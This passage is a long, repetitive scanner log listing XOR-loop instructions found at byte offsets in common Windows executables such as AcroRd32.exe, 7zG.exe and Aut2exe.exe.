"AcroRd32.exe" at offset 2311637; code bytes = 30d0 Found XOR loop in file "AcroRd32.exe" at offset 2326514; code bytes = 30d0 Found XOR loop in file "AcroRd32.exe" at offset 2334224; code bytes = 30d0 Found XOR loop in file "AcroRd32.exe" at offset 2430309; code bytes = 30d0 Found XOR loop in file "AcroRd32.exe" at offset 2463800; code bytes = 30d0 Found XOR loop in file "AcroRd32.exe" at offset 2600416; code bytes = 30d0 Found XOR loop in file "AcroRd32.exe" at offset 2694606; code bytes = 30d0 Found XOR loop in file "AcroRd32.exe" at offset 2741617; code bytes = 30d0 Found XOR loop in file "AcroRd32.exe" at offset 403116; code bytes = 33c1 Found XOR loop in file "AcroRd32.exe" at offset 911513; code bytes = 33c1 Found XOR loop in file "AcroRd32.exe" at offset 985481; code bytes = 33c1 Found XOR loop in file "AcroRd32.exe" at offset 985619; code bytes = 33c1 Found XOR loop in file "AcroRd32.exe" at offset 2162389; code bytes = 33c1 Found XOR loop in file "AcroRd32.exe" at offset 2165643; code bytes = 33c1 Found XOR loop in file "AcroRd32.exe" at offset 2179001; code bytes = 33c1 Found XOR loop in file "AcroRd32.exe" at offset 2184517; code bytes = 33c1 Found XOR loop in file "AcroRd32.exe" at offset 2196797; code bytes = 33c1 Found XOR loop in file "AcroRd32.exe" at offset 2502595; code bytes = 33c1 Found XOR loop in file "AcroRd32.exe" at offset 2546622; code bytes = 33c1 Found XOR loop in file "AcroRd32.exe" at offset 2623490; code bytes = 30040e Found XOR loop in file "AcroRd32.exe" at offset 1502376; code bytes = 8030 Found XOR loop in file "AcroRd32.exe" at offset 2186564; code bytes = 8030 Found XOR loop in file "AcroRd32.exe" at offset 2203904; code bytes = 8030 Found XOR loop in file "AcroRd32.exe" at offset 2206634; code bytes = 8030 Found XOR loop in file "AcroRd32.exe" at offset 2207480; code bytes = 8030 Found XOR loop in file "AcroRd32.exe" at offset 2209100; code bytes = 8030 Found XOR loop in file "AcroRd32.exe" at offset 2211708; code bytes = 8030 Found XOR loop in file "AcroRd32.exe" at offset 2215542; code bytes = 8030 Found XOR loop in file "AcroRd32.exe" at offset 2216562; code bytes = 8030 Found XOR loop in file "AcroRd32.exe" at offset 2217696; code bytes = 8030 Found XOR loop in file "AcroRd32.exe" at offset 2218444; code bytes = 8030 Found XOR loop in file "AcroRd32.exe" at offset 2397980; code bytes = 8030 Found XOR loop in file "AcroRd32.exe" at offset 2437613; code bytes = 8030 Found XOR loop in file "AcroRd32.exe" at offset 2438916; code bytes = 8030 Found XOR loop in file "AcroRd32.exe" at offset 2466465; code bytes = 8030 Found XOR loop in file "AcroRd32.exe" at offset 2569962; code bytes = 8030 Found XOR loop in file "elevation_service.exe" at offset 1425952; code bytes = 30d0 Found XOR loop in file "elevation_service.exe" at offset 1647472; code bytes = 30d0 Found XOR loop in file "elevation_service.exe" at offset 1806704; code bytes = 30d0 Found XOR loop in file "elevation_service.exe" at offset 1806805; code bytes = 30d0 Found XOR loop in file "elevation_service.exe" at offset 1821682; code bytes = 30d0 Found XOR loop in file "elevation_service.exe" at offset 1829392; code bytes = 30d0 Found XOR loop in file "elevation_service.exe" at offset 1925477; code bytes = 30d0 Found XOR loop in file "elevation_service.exe" at offset 1958968; code bytes = 30d0 Found XOR loop in file "elevation_service.exe" at offset 2095584; code bytes = 30d0 Found XOR loop in file "elevation_service.exe" at offset 2189774; code bytes = 30d0 Found XOR loop in file "elevation_service.exe" at offset 2236785; code bytes = 30d0 Found XOR loop in file "elevation_service.exe" at offset 721956; code bytes = 33c1 Found XOR loop in file "elevation_service.exe" at offset 790668; code bytes = 33c1 Found XOR loop in file "elevation_service.exe" at offset 1320829; code bytes = 33c1 Found XOR loop in file "elevation_service.exe" at offset 1997763; code bytes = 33c1 Found XOR loop in file "elevation_service.exe" at offset 2041790; code bytes = 33c1 Found XOR loop in file "elevation_service.exe" at offset 2118658; code bytes = 30040e Found XOR loop in file "elevation_service.exe" at offset 1400899; code bytes = 8030 Found XOR loop in file "elevation_service.exe" at offset 1514040; code bytes = 8030 Found XOR loop in file "elevation_service.exe" at offset 1893148; code bytes = 8030 Found XOR loop in file "elevation_service.exe" at offset 1932781; code bytes = 8030 Found XOR loop in file "elevation_service.exe" at offset 1934084; code bytes = 8030 Found XOR loop in file "elevation_service.exe" at offset 1961633; code bytes = 8030 Found XOR loop in file "elevation_service.exe" at offset 2065130; code bytes = 8030 Found XOR loop in file "wmpnetwk.exe" at offset 1616752; code bytes = 30d0 Found XOR loop in file "wmpnetwk.exe" at offset 1616853; code bytes = 30d0 Found XOR loop in file "wmpnetwk.exe" at offset 1631730; code bytes = 30d0 Found XOR loop in file "wmpnetwk.exe" at offset 1639440; code bytes = 30d0 Found XOR loop in file "wmpnetwk.exe" at offset 1735525; code bytes = 30d0 Found XOR loop in file "wmpnetwk.exe" at offset 1769016; code bytes = 30d0 Found XOR loop in file "wmpnetwk.exe" at offset 1905632; code bytes = 30d0 Found XOR loop in file "wmpnetwk.exe" at offset 1999822; code bytes = 30d0 Found XOR loop in file "wmpnetwk.exe" at offset 2046833; code bytes = 30d0 Found XOR loop in file "wmpnetwk.exe" at offset 1109497; code bytes = 33c1 Found XOR loop in file "wmpnetwk.exe" at offset 1181006; code bytes = 33c1 Found XOR loop in file "wmpnetwk.exe" at offset 1181412; code bytes = 33c1 Found XOR loop in file "wmpnetwk.exe" at offset 1185699; code bytes = 33c1 Found XOR loop in file "wmpnetwk.exe" at offset 1807811; code bytes = 33c1 Found XOR loop in file "wmpnetwk.exe" at offset 1851838; code bytes = 33c1 Found XOR loop in file "wmpnetwk.exe" at offset 1928706; code bytes = 30040e Found XOR loop in file "wmpnetwk.exe" at offset 990427; code bytes = 8030 Found XOR loop in file "wmpnetwk.exe" at offset 1091352; code bytes = 8030 Found XOR loop in file "wmpnetwk.exe" at offset 1703196; code bytes = 8030 Found XOR loop in file "wmpnetwk.exe" at offset 1742829; code bytes = 8030 Found XOR loop in file "wmpnetwk.exe" at offset 1744132; code bytes = 8030 Found XOR loop in file "wmpnetwk.exe" at offset 1771681; code bytes = 8030 Found XOR loop in file "wmpnetwk.exe" at offset 1875178; code bytes = 8030 Found XOR loop in file "7zG.exe" at offset 412719; code bytes = 30d0 Found XOR loop in file "7zG.exe" at offset 645488; code bytes = 30d0 Found XOR loop in file "7zG.exe" at offset 645589; code bytes = 30d0 Found XOR loop in file "7zG.exe" at offset 660466; code bytes = 30d0 Found XOR loop in file "7zG.exe" at offset 668176; code bytes = 30d0 Found XOR loop in file "7zG.exe" at offset 764261; code bytes = 30d0 Found XOR loop in file "7zG.exe" at offset 797752; code bytes = 30d0 Found XOR loop in file "7zG.exe" at offset 934368; code bytes = 30d0 Found XOR loop in file "7zG.exe" at offset 1028558; code bytes = 30d0 Found XOR loop in file "7zG.exe" at offset 1075569; code bytes = 30d0 Found XOR loop in file "7zG.exe" at offset 100730; code bytes = 33c1 Found XOR loop in file "7zG.exe" at offset 359581; code bytes = 33c1 Found XOR loop in file "7zG.exe" at offset 359618; code bytes = 33c1 Found XOR loop in file "7zG.exe" at offset 359655; code bytes = 33c1 Found XOR loop in file "7zG.exe" at offset 359692; code bytes = 33c1 Found XOR loop in file "7zG.exe" at offset 424848; code bytes = 33c1 Found XOR loop in file "7zG.exe" at offset 836547; code bytes = 33c1 Found XOR loop in file "7zG.exe" at offset 880574; code bytes = 33c1 Found XOR loop in file "7zG.exe" at offset 957442; code bytes = 30040e Found XOR loop in file "7zG.exe" at offset 191152; code bytes = 8030 Found XOR loop in file "7zG.exe" at offset 469396; code bytes = 8030 Found XOR loop in file "7zG.exe" at offset 488568; code bytes = 8030 Found XOR loop in file "7zG.exe" at offset 521796; code bytes = 8030 Found XOR loop in file "7zG.exe" at offset 521804; code bytes = 8030 Found XOR loop in file "7zG.exe" at offset 731932; code bytes = 8030 Found XOR loop in file "7zG.exe" at offset 771565; code bytes = 8030 Found XOR loop in file "7zG.exe" at offset 772868; code bytes = 8030 Found XOR loop in file "7zG.exe" at offset 800417; code bytes = 8030 Found XOR loop in file "7zG.exe" at offset 903914; code bytes = 8030 Found XOR loop in file "chrome_pwa_launcher.exe" at offset 1039776; code bytes = 30d0 Found XOR loop in file "chrome_pwa_launcher.exe" at offset 1151576; code bytes = 30d0 Found XOR loop in file "chrome_pwa_launcher.exe" at offset 1160840; code bytes = 30d0 Found XOR loop in file "chrome_pwa_launcher.exe" at offset 1549168; code bytes = 30d0 Found XOR loop in file "chrome_pwa_launcher.exe" at offset 1549269; code bytes = 30d0 Found XOR loop in file "chrome_pwa_launcher.exe" at offset 1564146; code bytes = 30d0 Found XOR loop in file "chrome_pwa_launcher.exe" at offset 1571856; code bytes = 30d0 Found XOR loop in file "chrome_pwa_launcher.exe" at offset 1667941; code bytes = 30d0 Found XOR loop in file "chrome_pwa_launcher.exe" at offset 1701432; code bytes = 30d0 Found XOR loop in file "chrome_pwa_launcher.exe" at offset 1838048; code bytes = 30d0 Found XOR loop in file "chrome_pwa_launcher.exe" at offset 1932238; code bytes = 30d0 Found XOR loop in file "chrome_pwa_launcher.exe" at offset 1979249; code bytes = 30d0 Found XOR loop in file "chrome_pwa_launcher.exe" at offset 489108; code bytes = 33c1 Found XOR loop in file "chrome_pwa_launcher.exe" at offset 557480; code bytes = 33c1 Found XOR loop in file "chrome_pwa_launcher.exe" at offset 1740227; code bytes = 33c1 Found XOR loop in file "chrome_pwa_launcher.exe" at offset 1784254; code bytes = 33c1 Found XOR loop in file "chrome_pwa_launcher.exe" at offset 913504; code bytes = 30040e Found XOR loop in file "chrome_pwa_launcher.exe" at offset 1861122; code bytes = 30040e Found XOR loop in file "chrome_pwa_launcher.exe" at offset 938723; code bytes = 8030 Found XOR loop in file "chrome_pwa_launcher.exe" at offset 1635612; code bytes = 8030 Found XOR loop in file "chrome_pwa_launcher.exe" at offset 1675245; code bytes = 8030 Found XOR loop in file "chrome_pwa_launcher.exe" at offset 1676548; code bytes = 8030 Found XOR loop in file "chrome_pwa_launcher.exe" at offset 1704097; code bytes = 8030 Found XOR loop in file "chrome_pwa_launcher.exe" at offset 1807594; code bytes = 8030 Found XOR loop in file "cblauncher.exe" at offset 610672; code bytes = 30d0 Found XOR loop in file "cblauncher.exe" at offset 610773; code bytes = 30d0 Found XOR loop in file "cblauncher.exe" at offset 625650; code bytes = 30d0 Found XOR loop in file "cblauncher.exe" at offset 633360; code bytes = 30d0 Found XOR loop in file "cblauncher.exe" at offset 729445; code bytes = 30d0 Found XOR loop in file "cblauncher.exe" at offset 762936; code bytes = 30d0 Found XOR loop in file "cblauncher.exe" at offset 899552; code bytes = 30d0 Found XOR loop in file "cblauncher.exe" at offset 993742; code bytes = 30d0 Found XOR loop in file "cblauncher.exe" at offset 1040753; code bytes = 30d0 Found XOR loop in file "cblauncher.exe" at offset 34840; code bytes = 33c1 Found XOR loop in file "cblauncher.exe" at offset 801731; code bytes = 33c1 Found XOR loop in file "cblauncher.exe" at offset 845758; code bytes = 33c1 Found XOR loop in file "cblauncher.exe" at offset 922626; code bytes = 30040e Found XOR loop in file "cblauncher.exe" at offset 296492; code bytes = 8030 Found XOR loop in file "cblauncher.exe" at offset 392735; code bytes = 8030 Found XOR loop in file "cblauncher.exe" at offset 421859; code bytes = 8030 Found XOR loop in file "cblauncher.exe" at offset 697116; code bytes = 8030 Found XOR loop in file "cblauncher.exe" at offset 736749; code bytes = 8030 Found XOR loop in file "cblauncher.exe" at offset 738052; code bytes = 8030 Found XOR loop in file "cblauncher.exe" at offset 765601; code bytes = 8030 Found XOR loop in file "cblauncher.exe" at offset 869098; code bytes = 8030 Found XOR loop in file "dwtrig20.exe" at offset 512641; code bytes = 30d0 Found XOR loop in file "dwtrig20.exe" at offset 605040; code bytes = 30d0 Found XOR loop in file "dwtrig20.exe" at offset 605141; code bytes = 30d0 Found XOR loop in file "dwtrig20.exe" at offset 620018; code bytes = 30d0 Found XOR loop in file "dwtrig20.exe" at offset 627728; code bytes = 30d0 Found XOR loop in file "dwtrig20.exe" at offset 723813; code bytes = 30d0 Found XOR loop in file "dwtrig20.exe" at offset 757304; code bytes = 30d0 Found XOR loop in file "dwtrig20.exe" at offset 893920; code bytes = 30d0 Found XOR loop in file "dwtrig20.exe" at offset 988110; code bytes = 30d0 Found XOR loop in file "dwtrig20.exe" at offset 1035121; code bytes = 30d0 Found XOR loop in file "dwtrig20.exe" at offset 220540; code bytes = 33c1 Found XOR loop in file "dwtrig20.exe" at offset 221156; code bytes = 33c1 Found XOR loop in file "dwtrig20.exe" at offset 506607; code bytes = 33c1 Found XOR loop in file "dwtrig20.exe" at offset 796099; code bytes = 33c1 Found XOR loop in file "dwtrig20.exe" at offset 840126; code bytes = 33c1 Found XOR loop in file "dwtrig20.exe" at offset 916994; code bytes = 30040e Found XOR loop in file "dwtrig20.exe" at offset 355075; code bytes = 8030 Found XOR loop in file "dwtrig20.exe" at offset 432315; code bytes = 8030 Found XOR loop in file "dwtrig20.exe" at offset 512620; code bytes = 8030 Found XOR loop in file "dwtrig20.exe" at offset 691484; code bytes = 8030 Found XOR loop in file "dwtrig20.exe" at offset 731117; code bytes = 8030 Found XOR loop in file "dwtrig20.exe" at offset 732420; code bytes = 8030 Found XOR loop in file "dwtrig20.exe" at offset 759969; code bytes = 8030 Found XOR loop in file "dwtrig20.exe" at offset 863466; code bytes = 8030 Found XOR loop in file "Aut2exe_x64.exe" at offset 95580; code bytes = 30d0 Found XOR loop in file "Aut2exe_x64.exe" at offset 256900; code bytes = 30d0 Found XOR loop in file "Aut2exe_x64.exe" at offset 355524; code bytes = 30d0 Found XOR loop in file "Aut2exe_x64.exe" at offset 384127; code bytes = 30d0 Found XOR loop in file "Aut2exe_x64.exe" at offset 494591; code bytes = 30d0 Found XOR loop in file "Aut2exe_x64.exe" at offset 545995; code bytes = 30d0 Found XOR loop in file "Aut2exe_x64.exe" at offset 635196; code bytes = 30d0 Found XOR loop in file "Aut2exe_x64.exe" at offset 717299; code bytes = 30d0 Found XOR loop in file "Aut2exe_x64.exe" at offset 748404; code bytes = 30d0 Found XOR loop in file "Aut2exe_x64.exe" at offset 828136; code bytes = 30d0 Found XOR loop in file "Aut2exe_x64.exe" at offset 848684; code bytes = 30d0 Found XOR loop in file "Aut2exe_x64.exe" at offset 895179; code bytes = 30d0 Found XOR loop in file "Aut2exe_x64.exe" at offset 911035; code bytes = 30d0 Found XOR loop in file "Aut2exe_x64.exe" at offset 1029109; code bytes = 30d0 Found XOR loop in file "Aut2exe_x64.exe" at offset 1040741; code bytes = 30d0 Found XOR loop in file "Aut2exe_x64.exe" at offset 1049676; code bytes = 30d0 Found XOR loop in file "Aut2exe_x64.exe" at offset 1102332; code bytes = 30d0 Found XOR loop in file "Aut2exe_x64.exe" at offset 1116417; code bytes = 30d0 Found XOR loop in file "Aut2exe_x64.exe" at offset 1175970; code bytes = 30d0 Found XOR loop in file "Aut2exe_x64.exe" at offset 1188900; code bytes = 30d0 Found XOR loop in file "Aut2exe_x64.exe" at offset 1194400; code bytes = 30d0 Found XOR loop in file "Aut2exe_x64.exe" at offset 1230324; code bytes = 30d0 Found XOR loop in file "Aut2exe_x64.exe" at offset 1262124; code bytes = 30d0 Found XOR loop in file "Aut2exe_x64.exe" at offset 1263151; code bytes = 30d0 Found XOR loop in file "Aut2exe_x64.exe" at offset 1270464; code bytes = 30d0 Found XOR loop in file "Aut2exe_x64.exe" at offset 1325632; code bytes = 30d0 Found XOR loop in file "Aut2exe_x64.exe" at offset 1344499; code bytes = 30d0 Found XOR loop in file "Aut2exe_x64.exe" at offset 1344995; code bytes = 30d0 Found XOR loop in file "Aut2exe_x64.exe" at offset 1360996; code bytes = 30d0 Found XOR loop in file "Aut2exe_x64.exe" at offset 1394970; code bytes = 30d0 Found XOR loop in file "Aut2exe_x64.exe" at offset 1404975; code bytes = 30d0 Found XOR loop in file "Aut2exe_x64.exe" at offset 1418798; code bytes = 30d0 Found XOR loop in file "Aut2exe_x64.exe" at offset 1421571; code bytes = 30d0 Found XOR loop in file "Aut2exe_x64.exe" at offset 1423827; code bytes = 30d0 Found XOR loop in file "Aut2exe_x64.exe" at offset 1518960; code bytes = 30d0 Found XOR loop in file "Aut2exe_x64.exe" at offset 1519061; code bytes = 30d0 Found XOR loop in file "Aut2exe_x64.exe" at offset 1533938; code bytes = 30d0 Found XOR loop in file "Aut2exe_x64.exe" at offset 1541648; code bytes = 30d0 Found XOR loop in file "Aut2exe_x64.exe" at offset 1637733; code bytes = 30d0 Found XOR loop in file "Aut2exe_x64.exe" at offset 1671224; code bytes = 30d0 Found XOR loop in file "Aut2exe_x64.exe" at offset 1807840; code bytes = 30d0 Found XOR loop in file "Aut2exe_x64.exe" at offset 1902030; code bytes = 30d0 Found XOR loop in file "Aut2exe_x64.exe" at offset 1949041; code bytes = 30d0 Found XOR loop in file "Aut2exe_x64.exe" at offset 81030; code bytes = 33c1 Found XOR loop in file "Aut2exe_x64.exe" at offset 81276; code bytes = 33c1 Found XOR loop in file "Aut2exe_x64.exe" at offset 81324; code bytes = 33c1 Found XOR loop in file "Aut2exe_x64.exe" at offset 81433; code bytes = 33c1 Found XOR loop in file "Aut2exe_x64.exe" at offset 81453; code bytes = 33c1 Found XOR loop in file "Aut2exe_x64.exe" at offset 81581; code bytes = 33c1 Found XOR loop in file "Aut2exe_x64.exe" at offset 81611; code bytes = 33c1 Found XOR loop in file "Aut2exe_x64.exe" at offset 81712; code bytes = 33c1 Found XOR loop in file "Aut2exe_x64.exe" at offset 81735; code bytes = 33c1 Found XOR loop in file "Aut2exe_x64.exe" at offset 81836; code bytes = 33c1 Found XOR loop in file "Aut2exe_x64.exe" at offset 144824; code bytes = 33c1 Found XOR loop in file "Aut2exe_x64.exe" at offset 334739; code bytes = 33c1 Found XOR loop in file "Aut2exe_x64.exe" at offset 352244; code bytes = 33c1 Found XOR loop in file "Aut2exe_x64.exe" at offset 477162; code bytes = 33c1 Found XOR loop in file "Aut2exe_x64.exe" at offset 559179; code bytes = 33c1 Found XOR loop in file "Aut2exe_x64.exe" at offset 684729; code bytes = 33c1 Found XOR loop in file "Aut2exe_x64.exe" at offset 740881; code bytes = 33c1 Found XOR loop in file "Aut2exe_x64.exe" at offset 772880; code bytes = 33c1 Found XOR loop in file "Aut2exe_x64.exe" at offset 798246; code bytes = 33c1 Found XOR loop in file "Aut2exe_x64.exe" at offset 812390; code bytes = 33c1 Found XOR loop in file "Aut2exe_x64.exe" at offset 891793; code bytes = 33c1 Found XOR loop in file "Aut2exe_x64.exe" at offset 902622; code bytes = 33c1 Found XOR loop in file "Aut2exe_x64.exe" at offset 918971; code bytes = 33c1 Found XOR loop in file "Aut2exe_x64.exe" at offset 950147; code bytes = 33c1 Found XOR loop in file "Aut2exe_x64.exe" at offset 1000258; code bytes = 33c1 Found XOR loop in file "Aut2exe_x64.exe" at offset 1074536; code bytes = 33c1 Found XOR loop in file "Aut2exe_x64.exe" at offset 1076706; code bytes = 33c1 Found XOR loop in file "Aut2exe_x64.exe" at offset 1097134; code bytes = 33c1 Found XOR loop in file "Aut2exe_x64.exe" at offset 1305019; code bytes = 33c1 Found XOR loop in file "Aut2exe_x64.exe" at offset 1710019; code bytes = 33c1 Found XOR loop in file "Aut2exe_x64.exe" at offset 1754046; code bytes = 33c1 Found XOR loop in file "Aut2exe_x64.exe" at offset 1830914; code bytes = 30040e Found XOR loop in file "Aut2exe_x64.exe" at offset 107639; code bytes = 8030 Found XOR loop in file "Aut2exe_x64.exe" at offset 197363; code bytes = 8030 Found XOR loop in file "Aut2exe_x64.exe" at offset 323490; code bytes = 8030 Found XOR loop in file "Aut2exe_x64.exe" at offset 342507; code bytes = 8030 Found XOR loop in file "Aut2exe_x64.exe" at offset 359508; code bytes = 8030 Found XOR loop in file "Aut2exe_x64.exe" at offset 396090; code bytes = 8030 Found XOR loop in file "Aut2exe_x64.exe" at offset 483937; code bytes = 8030 Found XOR loop in file "Aut2exe_x64.exe" at offset 522678; code bytes = 8030 Found XOR loop in file "Aut2exe_x64.exe" at offset 566452; code bytes = 8030 Found XOR loop in file "Aut2exe_x64.exe" at offset 579409; code bytes = 8030 Found XOR loop in file "Aut2exe_x64.exe" at offset 599558; code bytes = 8030 Found XOR loop in file "Aut2exe_x64.exe" at offset 604788; code bytes = 8030 Found XOR loop in file "Aut2exe_x64.exe" at offset 630019; code bytes = 8030 Found XOR loop in file "Aut2exe_x64.exe" at offset 647565; code bytes = 8030 Found XOR loop in file "Aut2exe_x64.exe" at offset 653362; code bytes = 8030 Found XOR loop in file "Aut2exe_x64.exe" at offset 699199; code bytes = 8030 Found XOR loop in file "Aut2exe_x64.exe" at offset 711723; code bytes = 8030 Found XOR loop in file "Aut2exe_x64.exe" at offset 718639; code bytes = 8030 Found XOR loop in file "Aut2exe_x64.exe" at offset 727548; code bytes = 8030 Found XOR loop in file "Aut2exe_x64.exe" at offset 759991; code bytes = 8030 Found XOR loop in file "Aut2exe_x64.exe" at offset 760364; code bytes = 8030 Found XOR loop in file "Aut2exe_x64.exe" at offset 765948; code bytes = 8030 Found XOR loop in file "Aut2exe_x64.exe" at offset 769626; code bytes = 8030 Found XOR loop in file "Aut2exe_x64.exe" at offset 775183; code bytes = 8030 Found XOR loop in file "Aut2exe_x64.exe" at offset 777800; code bytes = 8030 Found XOR loop in file "Aut2exe_x64.exe" at offset 782957; code bytes = 8030 Found XOR loop in file "Aut2exe_x64.exe" at offset 792321; code bytes = 8030 Found XOR loop in file "Aut2exe_x64.exe" at offset 807474; code bytes = 8030 Found XOR loop in file "Aut2exe_x64.exe" at offset 814549; code bytes = 8030 Found XOR loop in file "Aut2exe_x64.exe" at offset 819474; code bytes = 8030 Found XOR loop in file "Aut2exe_x64.exe" at offset 826290; code bytes = 8030 Found XOR loop in file "Aut2exe_x64.exe" at offset 828558; code bytes = 8030 Found XOR loop in file "Aut2exe_x64.exe" at offset 838590; code bytes = 8030 Found XOR loop in file "Aut2exe_x64.exe" at offset 842694; code bytes = 8030 Found XOR loop in file "Aut2exe_x64.exe" at offset 845154; code bytes = 8030 Found XOR loop in file "Aut2exe_x64.exe" at offset 848305; code bytes = 8030 Found XOR loop in file "Aut2exe_x64.exe" at offset 856436; code bytes = 8030 Found XOR loop in file "Aut2exe_x64.exe" at offset 858204; code bytes = 8030 Found XOR loop in file "Aut2exe_x64.exe" at offset 871727; code bytes = 8030 Found XOR loop in file "Aut2exe_x64.exe" at offset 877902; code bytes = 8030 Found XOR loop in file "Aut2exe_x64.exe" at offset 882995; code bytes = 8030 Found XOR loop in file "Aut2exe_x64.exe" at offset 883918; code bytes = 8030 Found XOR loop in file "Aut2exe_x64.exe" at offset 906199; code bytes = 8030 Found XOR loop in file "Aut2exe_x64.exe" at offset 923036; code bytes = 8030 Found XOR loop in file "Aut2exe_x64.exe" at offset 945848; code bytes = 8030 Found XOR loop in file "Aut2exe_x64.exe" at offset 963272; code bytes = 8030 Found XOR loop in file "Aut2exe_x64.exe" at offset 980816; code bytes = 8030 Found XOR loop in file "Aut2exe_x64.exe" at offset 988978; code bytes = 8030 Found XOR loop in file "Aut2exe_x64.exe" at offset 995818; code bytes = 8030 Found XOR loop in file "Aut2exe_x64.exe" at offset 1002629; code bytes = 8030 Found XOR loop in file "Aut2exe_x64.exe" at offset 1011879; code bytes = 8030 Found XOR loop in file "Aut2exe_x64.exe" at offset 1029580; code bytes = 8030 Found XOR loop in file "Aut2exe_x64.exe" at offset 1040261; code bytes = 8030 Found XOR loop in file "Aut2exe_x64.exe" at offset 1040822; code bytes = 8030 Found XOR loop in file "Aut2exe_x64.exe" at offset 1045106; code bytes = 8030 Found XOR loop in file "Aut2exe_x64.exe" at offset 1052637; code bytes = 8030 Found XOR loop in file "Aut2exe_x64.exe" at offset 1067634; code bytes = 8030 Found XOR loop in file "Aut2exe_x64.exe" at offset 1077449; code bytes = 8030 Found XOR loop in file "Aut2exe_x64.exe" at offset 1098443; code bytes = 8030 Found XOR loop in file "Aut2exe_x64.exe" at offset 1116248; code bytes = 8030 Found XOR loop in file "Aut2exe_x64.exe" at offset 1137489; code bytes = 8030 Found XOR loop in file "Aut2exe_x64.exe" at offset 1141876; code bytes = 8030 Found XOR loop in file "Aut2exe_x64.exe" at offset 1142828; code bytes = 8030 Found XOR loop in file "Aut2exe_x64.exe" at offset 1145838; code bytes = 8030 Found XOR loop in file "Aut2exe_x64.exe" at offset 1163974; code bytes = 8030 Found XOR loop in file "Aut2exe_x64.exe" at offset 1165792; code bytes = 8030 Found XOR loop in file "Aut2exe_x64.exe" at offset 1180296; code bytes = 8030 Found XOR loop in file "Aut2exe_x64.exe" at offset 1220508; code bytes = 8030 Found XOR loop in file "Aut2exe_x64.exe" at offset 1221978; code bytes = 8030 Found XOR loop in file "Aut2exe_x64.exe" at offset 1232919; code bytes = 8030 Found XOR loop in file "Aut2exe_x64.exe" at offset 1237575; code bytes = 8030 Found XOR loop in file "Aut2exe_x64.exe" at offset 1253577; code bytes = 8030 Found XOR loop in file "Aut2exe_x64.exe" at offset 1261982; code bytes = 8030 Found XOR loop in file "Aut2exe_x64.exe" at offset 1273461; code bytes = 8030 Found XOR loop in file "Aut2exe_x64.exe" at offset 1288427; code bytes = 8030 Found XOR loop in file "Aut2exe_x64.exe" at offset 1332994; code bytes = 8030 Found XOR loop in file "Aut2exe_x64.exe" at offset 1333531; code bytes = 8030 Found XOR loop in file "Aut2exe_x64.exe" at offset 1348319; code bytes = 8030 Found XOR loop in file "Aut2exe_x64.exe" at offset 1357838; code bytes = 8030 Found XOR loop in file "Aut2exe_x64.exe" at offset 1359444; code bytes = 8030 Found XOR loop in file "Aut2exe_x64.exe" at offset 1361216; code bytes = 8030 Found XOR loop in file "Aut2exe_x64.exe" at offset 1368332; code bytes = 8030 Found XOR loop in file "Aut2exe_x64.exe" at offset 1368571; code bytes = 8030 Found XOR loop in file "Aut2exe_x64.exe" at offset 1380330; code bytes = 8030 Found XOR loop in file "Aut2exe_x64.exe" at offset 1384936; code bytes = 8030 Found XOR loop in file "Aut2exe_x64.exe" at offset 1415008; code bytes = 8030 Found XOR loop in file "Aut2exe_x64.exe" at offset 1418329; code bytes = 8030 Found XOR loop in file "Aut2exe_x64.exe" at offset 1418614; code bytes = 8030 Found XOR loop in file "Aut2exe_x64.exe" at offset 1421438; code bytes = 8030 Found XOR loop in file "Aut2exe_x64.exe" at offset 1605404; code bytes = 8030 Found XOR loop in file "Aut2exe_x64.exe" at offset 1645037; code bytes = 8030 Found XOR loop in file "Aut2exe_x64.exe" at offset 1646340; code bytes = 8030 Found XOR loop in file "Aut2exe_x64.exe" at offset 1673889; code bytes = 8030 Found XOR loop in file "Aut2exe_x64.exe" at offset 1777386; code bytes = 8030 Found XOR loop in file "Aut2exe.exe" at offset 314052; code bytes = 30d0 Found XOR loop in file "Aut2exe.exe" at offset 342655; code bytes = 30d0 Found XOR loop in file "Aut2exe.exe" at offset 453119; code bytes = 30d0 Found XOR loop in file "Aut2exe.exe" at offset 504523; code bytes = 30d0 Found XOR loop in file "Aut2exe.exe" at offset 593724; code bytes = 30d0 Found XOR loop in file "Aut2exe.exe" at offset 675827; code bytes = 30d0 Found XOR loop in file "Aut2exe.exe" at offset 706932; code bytes = 30d0 Found XOR loop in file "Aut2exe.exe" at offset 786664; code bytes = 30d0 Found XOR loop in file "Aut2exe.exe" at offset 807212; code bytes = 30d0 Found XOR loop in file "Aut2exe.exe" at offset 853707; code bytes = 30d0 Found XOR loop in file "Aut2exe.exe" at offset 869563; code bytes = 30d0 Found XOR loop in file "Aut2exe.exe" at offset 987637; code bytes = 30d0 Found XOR loop in file "Aut2exe.exe" at offset 999269; code bytes = 30d0 Found XOR loop in file "Aut2exe.exe" at offset 1008204; code bytes = 30d0 Found XOR loop in file "Aut2exe.exe" at offset 1060860; code bytes = 30d0 Found XOR loop in file "Aut2exe.exe" at offset 1074945; code bytes = 30d0 Found XOR loop in file "Aut2exe.exe" at offset 1134498; code bytes = 30d0 Found XOR loop in file "Aut2exe.exe" at offset 1147428; code bytes = 30d0 Found XOR loop in file "Aut2exe.exe" at offset 1152928; code bytes = 30d0 Found XOR loop in file "Aut2exe.exe" at offset 1188852; code bytes = 30d0 Found XOR loop in file "Aut2exe.exe" at offset 1220652; code bytes = 30d0 Found XOR loop in file "Aut2exe.exe" at offset 1221679; code bytes = 30d0 Found XOR loop in file "Aut2exe.exe" at offset 1228992; code bytes = 30d0 Found XOR loop in file "Aut2exe.exe" at offset 1284160; code bytes = 30d0 Found XOR loop in file "Aut2exe.exe" at offset 1303027; code bytes = 30d0 Found XOR loop in file "Aut2exe.exe" at offset 1303523; code bytes = 30d0 Found XOR loop in file "Aut2exe.exe" at offset 1319524; code bytes = 30d0 Found XOR loop in file "Aut2exe.exe" at offset 1353498; code bytes = 30d0 Found XOR loop in file "Aut2exe.exe" at offset 1363503; code bytes = 30d0 Found XOR loop in file "Aut2exe.exe" at offset 1377326; code bytes = 30d0 Found XOR loop in file "Aut2exe.exe" at offset 1380099; code bytes = 30d0 Found XOR loop in file "Aut2exe.exe" at offset 1382355; code bytes = 30d0 Found XOR loop in file "Aut2exe.exe" at offset 1477488; code bytes = 30d0 Found XOR loop in file "Aut2exe.exe" at offset 1477589; code bytes = 30d0 Found XOR loop in file "Aut2exe.exe" at offset 1492466; code bytes = 30d0 Found XOR loop in file "Aut2exe.exe" at offset 1500176; code bytes = 30d0 Found XOR loop in file "Aut2exe.exe" at offset 1596261; code bytes = 30d0 Found XOR loop in file "Aut2exe.exe" at offset 1629752; code bytes = 30d0 Found XOR loop in file "Aut2exe.exe" at offset 1766368; code bytes = 30d0 Found XOR loop in file "Aut2exe.exe" at offset 1860558; code bytes = 30d0 Found XOR loop in file 